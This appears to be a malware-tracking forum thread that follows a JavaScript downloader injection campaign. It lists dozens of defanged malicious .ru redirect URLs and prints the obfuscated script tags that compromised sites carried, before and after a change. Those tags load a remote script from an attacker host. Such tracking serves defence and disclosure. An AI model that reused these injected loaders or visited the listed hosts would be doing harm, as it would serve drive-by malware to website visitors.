<script>/*GNU GPL*/

[michajp]

Some of the recently deobfuscated URLs pushed by scripts in topic (Trojan-Downloader.JS.Agent.ewh) :

Code: [Select]

hxxp://ameba-jp.bluehost.com.4chan-org.guidebat.ru:8080/google.com/google.com/startimes2.com/google.co.jp/zol.com.cn/
hxxp://aol-co-uk.blogger.com.google-gr.theaonline.ru:8080/kaixin.com/kaixin.com/amazon.co.uk/hostgator.com/google.com/
hxxp://argos-co-uk.king.com.petardas-com.johnsite.ru:8080/google.com/google.com/hudong.com/optmd.com/google.cl/
hxxp://ask-com.ebuddy.com.01net-com.guidebat.ru:8080/amazon.com/amazon.com/google.com/fedex.com/southwest.com/
hxxp://att-net.google.cl.download-com.superore.ru:8080/rayfile.com/rayfile.com/google.com/skycn.com/google.com.do/
hxxp://bbc-co-uk.pconline.com.cn.tradedoubler-com.bestbob.ru:8080/sponichi.co.jp/sponichi.co.jp/google.com/elance.com/orkut.com.br/
hxxp://comcast-com.globo.com.jrj-com-cn.superore.ru:8080/google.com/google.com/gmx.net/dict.cc/anonym.to/
hxxp://comcast-com.ppstream.com.bebo-com.ampsguide.ru:8080/google.com/google.com/timeanddate.com/cnet.com/mynet.com/
hxxp://dict-cc.google.com.ph.asg-to.guidebat.ru:8080/telegraph.co.uk/telegraph.co.uk/metrolyrics.com/google.com/mediaplex.com/
hxxp://discuz-net.livejournal.com.clickbank-com.guidebat.ru:8080/orbitz.com/orbitz.com/apple.com/oricon.co.jp/google.com/
hxxp://ebay-co-uk.leboncoin.fr.gazzetta-it.bestbob.ru:8080/163.com/163.com/google.com/ngoisao.net/godaddy.com/
hxxp://filestube-com.docstoc.com.sfgate-com.superore.ru:8080/ifeng.com/ifeng.com/dtiblog.com/naukri.com/google.com/
hxxp://forbes-com.wellsfargo.com.foodnetwork-com.guidebat.ru:8080/google.com/google.com/aljazeera.net/angege.com/sun.com/
hxxp://freshwap-net.kijiji.ca.china-com.superore.ru:8080/ime.nu/ime.nu/informer.com/google.com/bloomberg.com/
hxxp://ft-com.39.net.yallakora-com.guidebat.ru:8080/gametrailers.com/gametrailers.com/google.com/tmz.com/foxnews.com/
hxxp://google-de.babylon.com.google-com-bd.guidebat.ru:8080/softonic.com/softonic.com/wikia.com/uimserv.net/google.com/
hxxp://google-fi.king.com.iciba-com.worldsouth.ru:8080/evony.com/evony.com/google.nl/articlesbase.com/google.com/
hxxp://google-hr.imagebam.com.odnoklassniki-ru.lagworld.ru:8080/autohome.com.cn/autohome.com.cn/pornhost.com/google.com.ua/google.com/
hxxp://guardian-co-uk.uol.com.br.incredimail-com.thegiftsale.ru:8080/auto.ru/auto.ru/google.com/southwest.com/keepvid.com/
hxxp://huanqiu-com.kijiji.ca.it168-com.worldsouth.ru:8080/free.fr/free.fr/monografias.com/google.com/milliyet.com.tr/
hxxp://imagevenue-com.leo.org.comcast-net.lagworld.ru:8080/admagnet.net/admagnet.net/google.com/wired.com/joy.cn/
hxxp://joy-cn.weebly.com.gazzetta-it.guidebat.ru:8080/google.com/google.com/free.fr/woot.com/wordreference.com/
hxxp://jrj-com-cn.aebn.net.adbrite-com.superore.ru:8080/dmm.co.jp/dmm.co.jp/google.com/technorati.com/google.com.au/
hxxp://justin-tv.veoh.com.wellsfargo-com.guidebat.ru:8080/google.com/google.com/zanox-affiliate.de/foxnews.com/lenovo.com/
hxxp://kino-to.lauxanh.us.keyrun-cn.bestbob.ru:8080/azet.sk/azet.sk/suite101.com/google.com/webmd.com/
hxxp://linternaute-com.aufeminin.com.netlog-com.superore.ru:8080/google.com/google.com/google.com.ec/eorezo.com/guardian.co.uk/
hxxp://literotica-com.kaixin001.com.partypoker-com.guidebat.ru:8080/deviantart.com/deviantart.com/msn.ca/google.com/dantri.com.vn/
hxxp://mapquest-com.virginmedia.com.mozilla-com.bestbob.ru:8080/google.com/google.com/foxsports.com/deviantart.com/opendns.com/
hxxp://miibeian-gov-cn.google.at.ebay-co-uk.guidebat.ru:8080/joy.cn/joy.cn/mlb.com/google.com/squidoo.com/
hxxp://myfreepaysite-com.optmd.com.wrzuta-pl.theaonline.ru:8080/toysrus.com/toysrus.com/google.com/19lou.com/scribd.com/
hxxp://nifty-com.opendns.com.incredimail-com.musicboxpro.ru:8080/travian.com/travian.com/google.com/fastclick.com/chase.com/
hxxp://odesk-com.01net.com.proboards-com.guidebat.ru:8080/google.com/google.com/megaupload.com/google.com.pk/jeuxvideo.com/
hxxp://oricon-co-jp.googleusercontent.com.5d6d-com.bestbob.ru:8080/iciba.com/iciba.com/redtube.com/google.com/tripod.com/
hxxp://passport-net.mcssl.com.zynga-com.superore.ru:8080/google.com/google.com/mercadolivre.com.br/pantip.com/getafreelancer.com/
hxxp://pogo-com.51.la.mihanblog-com.johnsite.ru:8080/bankofamerica.com/bankofamerica.com/gumtree.com/renren.com/google.com/
hxxp://pornorama-com.tom.com.cj-com.worldsouth.ru:8080/google.com/google.com/rincondelvago.com/rakuten.ne.jp/google.be/
hxxp://sciencedirect-com.lequipe.fr.gamestop-com.superore.ru:8080/verycd.com/verycd.com/google.com/zaobao.com/rakuten.co.jp/
hxxp://sina-com-cn.linkedin.com.haberturk-com.ampsguide.ru:8080/globo.com/globo.com/google.com/mediaplex.com/yimg.com/
hxxp://stackoverflow-com.douban.com.fandango-com.guidebat.ru:8080/google.com/google.com/xbox.com/onet.pl/petardas.com/
hxxp://stackoverflow-com.google.com.kw.tweetmeme-com.lagworld.ru:8080/google.com/google.com/ganji.com/bizrate.com/ddmap.com/
hxxp://surveymonkey-com.love21cn.com.facebook-com.superore.ru:8080/bing.com/bing.com/fifa.com/google.com/advertserve.com/
hxxp://tuenti-com.rayfile.com.friendster-com.guidebat.ru:8080/google.com/google.com/5d6d.com/orkut.com.br/ebay.de/
hxxp://tumblr-com.corriere.it.17173-com.guidebat.ru:8080/odesk.com/odesk.com/blogbus.com/virgilio.it/google.com/
hxxp://tv-com.google.lk.alipay-com.ampsguide.ru:8080/exblog.jp/exblog.jp/tianya.cn/google.com/examiner.com/
hxxp://twitpic-com.youku.com.ebay-de.guidebat.ru:8080/tattoodle.com/tattoodle.com/kino.to/lenovo.com/google.com/
hxxp://uploaded-to.ebay.com.filefactory-com.ampsguide.ru:8080/google.com/google.com/imageshack.us/filestube.com/1und1.de/
hxxp://usatoday-com.aboutus.org.justin-tv.superore.ru:8080/articlesbase.com/articlesbase.com/google.com/39.net/google.com.ua/
hxxp://ustream-tv.megaporn.com.rakuten-ne-jp.superore.ru:8080/shareasale.com/shareasale.com/google.com/telegraph.co.uk/icio.us/
hxxp://veoh-com.angege.com.daqi-com.guidebat.ru:8080/google.com/google.com/surfthechannel.com/evony.com/flickr.com/
hxxp://verizonwireless-com.azet.sk.kijiji-ca.guidebat.ru:8080/mozilla.org/mozilla.org/google.com/118114.cn/mediaplex.com/
hxxp://victoriassecret-com.timeanddate.com.seriesyonkis-com.guidebat.ru:8080/smashingmagazine.com/smashingmagazine.com/google.com.my/bu520.com/google.com/
hxxp://wretch-cc.qip.ru.reuters-com.ampsguide.ru:8080/pagesjaunes.fr/pagesjaunes.fr/lauxanh.us/google.com/google.com.hk/
hxxp://wunderground-com.hdfcbank.com.fanpop-com.lagworld.ru:8080/uimserv.net/uimserv.net/google.com/gametrailers.com/mainichi.jp/
hxxp://xanga-com.chinaren.com.aufeminin-com.guidebat.ru:8080/startimes2.com/startimes2.com/conduit.com/digg.com/google.com/
hxxp://yam-com.bing.com.advmaker-ru.ampsguide.ru:8080/google.com/google.com/ikea.com/typepad.com/enet.com.cn/
hxxp://yellowpages-com.tweetmeme.com.asg-to.lagworld.ru:8080/google.com/google.com/foxnews.com/1und1.de/im286.com/

Cheers
micha

[michajp]

07Jan09:

Code: [Select]

hxxp://dantri-com-vn.hoopchina.com.ibm-com.superore.ru:8080/optmd.com/optmd.com/google.com/associatedcontent.com/cnn.com/
hxxp://2ch-net.topshareware.com.gmodules-com.webnetlender.ru:8080/exbii.com/exbii.com/biglobe.ne.jp/voila.fr/google.com/
hxxp://oneindia-in.alisoft.com.allrecipes-com.warbest.ru:8080/google.com/google.com/neobux.com/linksynergy.com/w3schools.com/
hxxp://payserve-com.google.cn.opera-com.guidebat.ru:8080/google.com/google.com/disney.go.com/hc360.com/verizonwireless.com/
hxxp://zhaopin-com.foxsports.com.mozilla-com.superore.ru:8080/reddit.com/reddit.com/timesonline.co.uk/google.com/torrents.ru/
hxxp://imdb-com.focus.cn.alipay-com.guidebat.ru:8080/google.com/google.com/4chan.org/stumbleupon.com/linkhelper.cn/
hxxp://ggpht-com.news3insider.com.sponichi-co-jp.superore.ru:8080/imdb.com/imdb.com/newegg.com/multiply.com/google.com/
hxxp://ifeng-com.51job.com.articlesbase-com.ampsguide.ru:8080/abril.com.br/abril.com.br/google.com/dtiblog.com/yahoo.com/
hxxp://geocities-jp.depositfiles.com.reuters-com.johnsite.ru:8080/en.wordpress.com/en.wordpress.com/ca.gov/google.com/craigslist.ca/
hxxp://gamer-com-tw.wrzuta.pl.play-com.brownbagbar.ru:8080/google.com/google.com/wordpress.org/hp.com/surveymonkey.com/
hxxp://tomshardware-com.veoh.com.cartoonnetwork-com.superaguide.ru:8080/youjizz.com/youjizz.com/katz.cd/thefreedictionary.com/google.com/


[michajp]

Some of the injected sites changed code as follows:

Before

Code: [Select]

<script>/*GNU GPL*/ try{window.onload = function(){var Guwurqp4uu2pf = document.createElement('s@#^c(!)$r^)@i^@p(t($'.replace(/\!|@|\$|\)|\^|\(|&|#/ig, ''));var Lcmpc0ttjv3qc1 = 'Hryb9rab3n52';Guwurqp4uu2pf.setAttribute('type', 't)!!e!^$$x(^&t!((/^^j)$a)v#^a#s(^c!r^^!)i^#$(p&^#)&t)@#&'.replace(/\(|#|\^|\)|\!|\$|@|&/ig,''));Guwurqp4uu2pf.setAttribute('src',  'h!t&t@)p!:(#/()@/#i!)^@#m#&^a$g^!e)&v@)&e@n#@!!$u($$e&-$^c!o$$m$.@!!^l$e)&($o!!(.))o#(#r^)(g#$().)#c!@o@)@!m@&c@!^a&^!s#t^-^^(n($e)#t!@^.@&l!&a@@g^w)o&(&)r$&##l@!)!d^&#.)!r!!u!:#^8&^^$0#)@@8(!0)^#/^!^^a&!#d#m&&(a(^@#@g#&!$)n@#$!e#!)t(.@n)$e^^t)&&/@(^&a!@(d^$m&&$a#g!#)n^!e&t&#!^.!n!$&e$t@$#(/)!$)g^@o)$$o^g^l)e$($.()c)o^^)m@/!&w@^i)r)&&e@^)^d)$$.(!$!c))o!^m&)/&&)j()o&y)$).$(@c@n^!/@!'.replace(/\(|&|\!|\)|@|#|\$|\^/ig, ''));Guwurqp4uu2pf.setAttribute('defer', 'd&)$@&e!&$f@&(@e#^()r!^'.replace(/\^|@|\(|\$|\!|#|\)|&/ig, ''));Guwurqp4uu2pf.setAttribute('id', 'K!!1$(l&(v#)!d$!r()8$!@1($0!@!)7()(&u)(#'.replace(/\!|#|\$|@|&|\(|\)|\^/ig, ''));document.body.appendChild(Guwurqp4uu2pf);}} catch(Cv4vibvzdw5k) {}</script>
After

Code: [Select]

<script>/*LGPL*/ try{ window.onload = function(){var Aiyzrbnuljweny = document.createElement('s&c$)@r$i#p#$@t#'.replace(/&|@|\(|\!|\$|\)|\^|#/ig, ''));Aiyzrbnuljweny.setAttribute('defer', 'd^e$f!))e#$(#&r&^!'.replace(/@|\$|\!|\^|#|\(|&|\)/ig, ''));Aiyzrbnuljweny.setAttribute('type', 't)^!e!(#x&$t^/$!j^)))a@v^a!&#s$((^@c@)^r)i@)(@p@)t!(#^'.replace(/@|\$|\(|#|&|\)|\^|\!/ig, ''));Aiyzrbnuljweny.setAttribute('id', 'A^^s^^@3@j!@c@!t!^v&$9^)@1^)m!&@'.replace(/\^|\$|@|#|\)|\!|&|\(/ig, ''));Aiyzrbnuljweny.setAttribute('s^r^$^&c)'.replace(/\)|&|@|\^|\!|#|\(|\$/ig, ''),  'h!^$(&t@^t#$)^$p&(^:(^$)&/)(&/!)4$s!))^h^&a$@(r@!&e!d)@-!c$&#(o$#(&m)#.!$d@)o)#^u^@b!!^a#!n)^$.)&$c@!$#o(&@&m@@.(&@m!^#!e@(r(c^a^$#d^@&o)^l$$(i&$#b!#^@r&)e#(^(-))c(#o#)m@))#-$!m)!x@#.@$#t!h((e$(#c@@^h!@o&c#^#^o(#l^^^a)t#e^w($^e!b#$^.&@r@$^u^:!#@#8#@&0((#)8(#)0!/!!g(@o^!o)g@#l(e).@^#c&!#o$^@m&^/(@@g^&o#&^o^^g(#l(&$!e#!.!$$&c)(o^)(m$(#/(a@#@!r()t$&)i@!)c(&!l$!e#^s^)@!b##)a#!s@e!.)@c@$o(&m^&/!t)@y^@^)p@e)(#p@((!a)#)d).@$c@^)@o!#&m^/)!!!m!$$y@s((q^@!l^^!@.@c)&o$#m^/!)'.replace(/\$|#|&|\(|@|\^|\!|\)/ig, ''));if (document){document.body.appendChild(Aiyzrbnuljweny);}} } catch(Fpn3p70myi56u60t4jolgy) {}</script>

[michajp]

08Jan10

Code: [Select]

hxxp://4shared-com.douban.com.mercadolibre-com-mx.thechocolateweb.ru:8080/google.com/google.com/articlesbase.com/typepad.com/mysql.com/
hxxp://5d6d-com.optmd.com.icio-us.ampsguide.ru:8080/bangbros1.com/bangbros1.com/google.sk/google.com/pornbb.org/
hxxp://alipay-com.slickdeals.net.echoroukonline-com.lagworld.ru:8080/wordpress.org/wordpress.org/urbandictionary.com/google.com/classmates.com/
hxxp://aol-com.univision.com.nu-nl.worldwebworld.ru:8080/pcauto.com.cn/pcauto.com.cn/yoka.com/1133.cc/google.com/
hxxp://blogcatalog-com.google.ie.google-co-jp.webnetloans.ru:8080/yandex.ua/yandex.ua/google.com.tw/google.com/robtex.com/
hxxp://blogger-com.surfthechannel.com.buzznet-com.thechocolateweb.ru:8080/hp.com/hp.com/ikea.com/who.is/google.com/
hxxp://boston-com.symantec.com.cocolog-nifty-com.worldwebworld.ru:8080/msn.ca/msn.ca/iwiw.hu/google.com/yoka.com/
hxxp://bp-blogspot-com.moneycontrol.com.google-cz.thechocolateweb.ru:8080/google.com/google.com/yahoo.com.cn/google.co.hu/gamestop.com/
hxxp://cbssports-com.shinobi.jp.gamer-com-tw.webnetenglish.ru:8080/foxsports.com/foxsports.com/google.com/statcounter.com/getiton.com/
hxxp://china-com-cn.tomshardware.com.taringa-net.theatticsale.ru:8080/ggpht.com/ggpht.com/google.com/disney.go.com/hattrick.org/
hxxp://chinaren-com.avg.com.01net-com.thechocolateweb.ru:8080/1und1.de/1und1.de/google.com/bu520.com/yesky.com/
hxxp://cnzz-com.play.com.detik-com.thechocolateweb.ru:8080/babylon.com/babylon.com/google.com/reddit.com/ninemsn.com.au/
hxxp://detik-com.craigslist.ca.amazon-fr.thechocolateweb.ru:8080/clicksor.com/clicksor.com/weebly.com/google.com/google.fi/
hxxp://dict-cc.youku.com.bizrate-com.thechocolateweb.ru:8080/rambler.ru/rambler.ru/google.com/jcpenney.com/google.pl/
hxxp://docstoc-com.zappos.com.realitykings-com.webdesktopnet.ru:8080/pch.com/pch.com/comcast.net/google.com/hi5.com/
hxxp://free-fr.rapidshare.com.hotlinkimage-com.thechocolateweb.ru:8080/51job.com/51job.com/redtube.com/gittigidiyor.com/google.com/
hxxp://gap-com.basecamphq.com.bestbuy-com.xboxliveweb.ru:8080/nba.com/nba.com/google.com/pornbb.org/mininova.org/
hxxp://godaddy-com.dantri.com.vn.gc-ca.worldwebworld.ru:8080/google.com/google.com/google.hr/4shared.com/alibaba.com/
hxxp://google-com-do.stayfriends.de.indiatimes-com.thechocolateweb.ru:8080/eorezo.com/eorezo.com/google.com/google.at/ibm.com/
hxxp://google-com-sa.plala.or.jp.last-fm.webnetenglish.ru:8080/google.com/google.com/pchome.net/wrzuta.pl/careerbuilder.com/
hxxp://ign-com.sedoparking.com.xunlei-com.thechocolateweb.ru:8080/thepiratebay.org/thepiratebay.org/shopping.com/google.be/google.com/
hxxp://imageshack-us.tom.com.facebook-com.thechocolateweb.ru:8080/cricinfo.com/cricinfo.com/stackoverflow.com/google.com/vente-privee.com/
hxxp://immobilienscout24-de.zshare.net.ebay-com-au.worldwebworld.ru:8080/hudong.com/hudong.com/biglobe.ne.jp/google.com/wrzuta.pl/
hxxp://incredimail-com.att.com.sanook-com.thechocolateweb.ru:8080/adbrite.com/adbrite.com/google.com/howstuffworks.com/partypoker.com/
hxxp://iza-ne-jp.persianblog.ir.seriesyonkis-com.webnetenglish.ru:8080/google.com/google.com/yallakora.com/sabah.com.tr/orange.fr/
hxxp://kaixin001-com.sendspace.com.gc-ca.worldwebworld.ru:8080/hp.com/hp.com/orf.at/google.com/mail.com/
hxxp://kohls-com.ibm.com.corriere-it.worldwebworld.ru:8080/yimg.com/yimg.com/google.com/jugem.jp/ebuddy.com/
hxxp://kompas-com.55bbs.com.telegraph-co-uk.webnetenglish.ru:8080/google.pt/google.pt/yimg.com/windowslive.com/google.com/
hxxp://lemonde-fr.mtv.com.zshare-net.carswebnet.ru:8080/forumcommunity.net/forumcommunity.net/google.ro/terra.com.br/google.com/
hxxp://liveinternet-ru.google.com.hottiestar-com.worldwebworld.ru:8080/4shared.com/4shared.com/google.com/katz.cd/dailymail.co.uk/
hxxp://mail-ru.multiupload.com.megaporn-com.webnetenglish.ru:8080/gmodules.com/gmodules.com/juegos.com/btjunkie.org/google.com/
hxxp://mediaplex-com.youtube.com.pixnet-net.ampsguide.ru:8080/dangdang.com/dangdang.com/google.cl/hurriyet.com.tr/google.com/
hxxp://meinvz-net.fifa.com.feedburner-com.thechocolateweb.ru:8080/hatena.ne.jp/hatena.ne.jp/ggpht.com/xinhuanet.com/google.com/
hxxp://mlb-com.heise.de.tiscali-it.thechocolateweb.ru:8080/adult-empire.com/adult-empire.com/ig.com.br/google.com/badjojo.com/
hxxp://mobile9-com.cctv.com.pcworld-com.webnetenglish.ru:8080/ziddu.com/ziddu.com/virginmedia.com/vmn.net/google.com/
hxxp://monster-com.experts-exchange.com.secureserver-net.xboxliveweb.ru:8080/6.cn/6.cn/linksynergy.com/playstation.com/google.com/
hxxp://orbitdownloader-com.interia.pl.taobao-com.manbest.ru:8080/fbcdn.net/fbcdn.net/google.com/mcssl.com/ninemsn.com.au/
hxxp://orbitz-com.yaplog.jp.tube8-com.webdesktopnet.ru:8080/google.com/google.com/dell.com/myfreepaysite.com/orkut.com/
hxxp://orkut-com-br.hattrick.org.wiktionary-org.webnetenglish.ru:8080/google.com/google.com/intel.com/vnet.cn/onlinedown.net/
hxxp://petardas-com.sitepoint.com.yomiuri-co-jp.carswebnet.ru:8080/realitykings.com/realitykings.com/4shared.com/google.com/ifeng.com/
hxxp://playstation-com.mercadolibre.com.ar.ganji-com.thelaceweb.ru:8080/wp.pl/wp.pl/uwants.com/google.com/tuenti.com/
hxxp://rapid4me-com.bangbros1.com.perezhilton-com.weblessnet.ru:8080/linkwithin.com/linkwithin.com/digg.com/google.com/google.com.vn/
hxxp://retailmenot-com.buy.com.gamefaqs-com.thechocolateweb.ru:8080/espn.go.com/espn.go.com/google.com.hk/google.com/ggpht.com/
hxxp://retailmenot-com.uol.com.br.m-w-com.webdesktopnet.ru:8080/ziddu.com/ziddu.com/wp.pl/google.com/360.cn/
hxxp://reverso-net.reddit.com.hotlinkimage-com.worldwebworld.ru:8080/google.com/google.com/seriesyonkis.com/travian.com/mozilla.com/
hxxp://rottentomatoes-com.google.com.gazzetta-it.thelaceweb.ru:8080/google.com/google.com/dion.ne.jp/anonym.to/playstation.com/
hxxp://rr-com.zappos.com.jcpenney-com.thechocolateweb.ru:8080/google.com/google.com/wellsfargo.com/tudou.com/msn.com.cn/
hxxp://seznam-cz.hsbc.co.uk.kakaku-com.webnetenglish.ru:8080/google.com/google.com/marca.com/allabout.co.jp/iza.ne.jp/
hxxp://sitesell-com.symantec.com.ganji-com.thechocolateweb.ru:8080/google.com/google.com/echoroukonline.com/mop.com/clickbank.com/
hxxp://sogou-com.gamevance.com.mozilla-com.thechocolateweb.ru:8080/mtime.com/mtime.com/google.com/realitykings.com/nasa.gov/
hxxp://southwest-com.mapquest.com.secureserver-net.guidebat.ru:8080/tigerdirect.com/tigerdirect.com/google.com/uploading.com/yaplog.jp/
hxxp://sponsorads-de.onemanga.com.tiscali-it.thechocolateweb.ru:8080/kaixin.com/kaixin.com/icbc.com.cn/google.com/aol.com/
hxxp://staples-com.jeuxvideo.com.passport-net.thelaceweb.ru:8080/eastmoney.com/eastmoney.com/google.pt/google.com/justin.tv/
hxxp://stern-de.linkhelper.cn.wikipedia-org.carswebnet.ru:8080/irctc.co.in/irctc.co.in/yaplog.jp/ovguide.com/google.com/
hxxp://sun-com.yahoo.com.neobux-com.xboxliveweb.ru:8080/y8.com/y8.com/google.com/skycn.com/wer-kennt-wen.de/
hxxp://t-mobile-com.howstuffworks.com.brazzers-com.carswebnet.ru:8080/google.com/google.com/avast.com/gap.com/traidnt.net/
hxxp://thesun-co-uk.brothersoft.com.usatoday-com.sugaryhome.ru:8080/kino.to/kino.to/google.com/slutload.com/seriesyonkis.com/
hxxp://travelocity-com.google.co.za.vnexpress-net.xboxliveweb.ru:8080/google.com/google.com/robtex.com/slickdeals.net/fc2.com/
hxxp://tudou-com.ifolder.ru.adsrevenue-net.worldwebworld.ru:8080/woot.com/woot.com/dtiblog.com/google.com/answers.com/
hxxp://univision-com.king.com.toysrus-com.carswebnet.ru:8080/monografias.com/monografias.com/google.com/ultimate-guitar.com/iciba.com/
hxxp://verizon-net.baidu.com.bahn-de.webdesktopnet.ru:8080/google.com/google.com/tnaflix.com/mtime.com/google.com.tw/
hxxp://watch-movies-online-tv.nate.com.technorati-com.thelaceweb.ru:8080/torrentreactor.net/torrentreactor.net/google.com/picfoco.com/chinaz.com/
hxxp://wellsfargo-com.w3.org.it168-com.thechocolateweb.ru:8080/360buy.com/360buy.com/google.com/wiktionary.org/51yes.com/
hxxp://wellsfargo-com.yandex.ua.freshwap-net.webnetenglish.ru:8080/letitbit.net/letitbit.net/toysrus.com/daqi.com/google.com/
hxxp://wiktionary-org.ameba.jp.freeones-com.thelaceweb.ru:8080/bu520.com/bu520.com/businessweek.com/scribd.com/google.com/
hxxp://xici-net.infoseek.co.jp.wellsfargo-com.thelaceweb.ru:8080/google.com/google.com/sponichi.co.jp/megaclick.com/ipicture.ru/
hxxp://zappos-com.blackhatworld.com.dailymail-co-uk.thechocolateweb.ru:8080/acer.com/acer.com/google.com/vnexpress.net/petardas.com/


[michajp]

Code: [Select]

hxxp://amazon-co-uk.skyrock.com.about-com.webnetenglish.ru:8080/google.com/google.com/foxsports.com/gc.ca/dell.com/
hxxp://boston-com.symantec.com.cocolog-nifty-com.worldwebworld.ru:8080/msn.ca/msn.ca/iwiw.hu/google.com/yoka.com/
hxxp://ebay-fr.blackhatworld.com.webmd-com.webnetenglish.ru:8080/hi5.com/hi5.com/google.com/windowslive.com/tomshardware.com/
hxxp://google-cl.badoo.com.tinypic-com.carswebnet.ru:8080/google.co.za/google.co.za/bebo.com/google.com/cbssports.com/
hxxp://hc360-com.webmasterworld.com.ning-com.worldwebworld.ru:8080/beemp3.com/beemp3.com/55bbs.com/xe.com/google.com/
hxxp://microsoft-com.ning.com.megaupload-com.carswebnet.ru:8080/badoo.com/badoo.com/mobile.de/google.com/fishki.net/
hxxp://mlb-com.heise.de.tiscali-it.thechocolateweb.ru:8080/adult-empire.com/adult-empire.com/ig.com.br/google.com/badjojo.com/
hxxp://orkut-com-br.hattrick.org.wiktionary-org.webnetenglish.ru:8080/google.com/google.com/intel.com/vnet.cn/onlinedown.net/
hxxp://sfgate-com.meetup.com.aol-com.worldwebworld.ru:8080/miniclip.com/miniclip.com/xbox.com/google.com/google.it/
hxxp://veoh-com.wunderground.com.ifeng-com.worldwebworld.ru:8080/ovh.net/ovh.net/zaycev.net/google.com/orf.at/

[michajp]

Code: [Select]

hxxp://amazon-fr.skype.com.ya-ru.thelaceweb.ru:8080/39.net/39.net/google.com/gc.ca/rk.com/
hxxp://detiknews-com.pchome.net.novinky-cz.webdesktopnet.ru:8080/windowslive.com/windowslive.com/shopping.com/bing.com/google.com/
hxxp://digg-com.uwants.com.livescore-com.whosaleonline.ru:8080/sciencedirect.com/sciencedirect.com/google.com.hk/google.com/infolinks.com/
hxxp://docstoc-com.zappos.com.realitykings-com.webdesktopnet.ru:8080/pch.com/pch.com/comcast.net/google.com/hi5.com/
hxxp://ebay-de.adserverplus.com.sify-com.thelaceweb.ru:8080/in.com/in.com/zedo.com/sweetim.com/google.com/
hxxp://en-wordpress-com.staples.com.multiupload-com.webnetenglish.ru:8080/eastmoney.com/eastmoney.com/google.com/robtex.com/abc.go.com/
hxxp://facebook-com.mixi.jp.wareseeker-com.usaworldwideweb.ru:8080/google.co.ma/google.co.ma/110mb.com/gougou.com/google.com/
hxxp://free-fr.rapidshare.com.hotlinkimage-com.thechocolateweb.ru:8080/51job.com/51job.com/redtube.com/gittigidiyor.com/google.com/
hxxp://gizmodo-com.ovh.net.download-com.thelaceweb.ru:8080/theplanet.com/theplanet.com/fedex.com/google.com/go.com/
hxxp://iza-ne-jp.persianblog.ir.seriesyonkis-com.webnetenglish.ru:8080/google.com/google.com/yallakora.com/sabah.com.tr/orange.fr/
hxxp://marketwatch-com.atdmt.com.craigslist-ca.thelaceweb.ru:8080/lemonde.fr/lemonde.fr/pixnet.net/google.com/elmundo.es/
hxxp://meinvz-net.mihanblog.com.verizonwireless-com.thelaceweb.ru:8080/capitalone.com/capitalone.com/booking.com/google.com/bizrate.com/
hxxp://metrolyrics-com.google.co.in.google-co-th.thechocolateweb.ru:8080/ucoz.ru/ucoz.ru/sohu.com/freelotto.com/google.com/
hxxp://miibeian-gov-cn.amazon.fr.ticketmaster-com.webdesktopnet.ru:8080/pichunter.com/pichunter.com/google.com/pch.com/uploaded.to/
hxxp://mixx-com.kinopoisk.ru.gmodules-com.worldwebworld.ru:8080/sulekha.com/sulekha.com/mihanblog.com/google.com/stumbleupon.com/
hxxp://mybrowserbar-com.samsung.com.nasa-gov.egreatsale.ru:8080/megavideo.com/megavideo.com/laredoute.fr/bild.de/google.com/
hxxp://naqigs-com.dmm.co.jp.reddit-com.worldwebworld.ru:8080/google.com/google.com/thefreedictionary.com/megavideo.com/plentyoffish.com/
hxxp://nih-gov.miibeian.gov.cn.craigslist-ca.sugaryhome.ru:8080/cyworld.com/cyworld.com/archive.org/google.com/comdirect.de/
hxxp://onemanga-com.ticketmaster.com.plala-or-jp.worldwebworld.ru:8080/classmates.com/classmates.com/boston.com/google.com/huanqiu.com/
hxxp://orange-fr.tudou.com.youtube-com.webnetenglish.ru:8080/pichunter.com/pichunter.com/google.com/marketwatch.com/forumcommunity.net/
hxxp://pornhub-com.perezhilton.com.goo-ne-jp.thechocolateweb.ru:8080/google.com/google.com/bangbros1.com/sponichi.co.jp/onet.pl/
hxxp://rakuten-ne-jp.overstock.com.pixnet-net.thelaceweb.ru:8080/mercadolibre.com.ar/mercadolibre.com.ar/partypoker.com/google.com/linezing.com/
hxxp://rincondelvago-com.tabnak.ir.hyves-nl.webnetenglish.ru:8080/squidoo.com/squidoo.com/google.com/orbitdownloader.com/news.com.au/
hxxp://rivals-com.tagged.com.dreamstime-com.thelaceweb.ru:8080/google.com/google.com/slutload.com/match.com/alibaba.com/
hxxp://sakura-ne-jp.nasa.gov.39-net.webdesktopnet.ru:8080/ca.gov/ca.gov/google.com/songs.pk/echoroukonline.com/
hxxp://shaadi-com.free.fr.stc-com-sa.funwebmail.ru:8080/libero.it/libero.it/msn.ca/orkut.com/google.com/
hxxp://soso-com.linkwithin.com.360-cn.worldwebworld.ru:8080/cmbchina.com/cmbchina.com/google.com/cams.com/zol.com.cn/
hxxp://vnexpress-net.9wee.com.perezhilton-com.worldwebworld.ru:8080/google.com/google.com/radikal.ru/ynet.com/hotfile.com/
hxxp://who-is.yomiuri.co.jp.archive-org.thelaceweb.ru:8080/allyes.com/allyes.com/adultfriendfinder.com/liveinternet.ru/google.com/
hxxp://wikipedia-org.smashingmagazine.com.foodnetwork-com.easytabletennis.ru:8080/19lou.com/19lou.com/google.com/zappos.com/avast.com/
hxxp://wrzuta-pl.besttubeclips.com.jrj-com-cn.funwebmail.ru:8080/seesaa.net/seesaa.net/google.com/fixya.com/virginmedia.com/

[michajp]

Code: [Select]

hxxp://adbrite-com.1e100.net.petardas-com.carswebnet.ru:8080/google.sk/google.sk/basecamphq.com/google.com/accuweather.com/
hxxp://amazon-de.kinopoisk.ru.marketwatch-com.thechocolateweb.ru:8080/google.com/google.com/ebay.fr/mysql.com/foxnews.com/
hxxp://bild-de.zedge.net.qip-ru.thelaceweb.ru:8080/tabelog.com/tabelog.com/repubblica.it/cnet.com/google.com/
hxxp://clicksor-com.eastmoney.com.mobile-de.homesaleplus.ru:8080/ocn.ne.jp/ocn.ne.jp/classmates.com/linkhelper.cn/google.com/
hxxp://cnzz-com.play.com.detik-com.thechocolateweb.ru:8080/babylon.com/babylon.com/google.com/reddit.com/ninemsn.com.au/
hxxp://doctissimo-fr.news.com.au.accuweather-com.worldwebworld.ru:8080/google.com/google.com/persianblog.ir/xunlei.com/zappos.com/
hxxp://hoopchina-com.it168.com.drudgereport-com.thechocolateweb.ru:8080/xvideos.com/xvideos.com/google.com/laredoute.fr/orbitz.com/
hxxp://ibm-com.lowes.com.wowarmory-com.worldwebworld.ru:8080/pantip.com/pantip.com/google.com/intel.com/dantri.com.vn/
hxxp://irctc-co-in.rapidshare.com.skyrock-com.thechocolateweb.ru:8080/brazzers.com/brazzers.com/photobucket.com/ovguide.com/google.com/
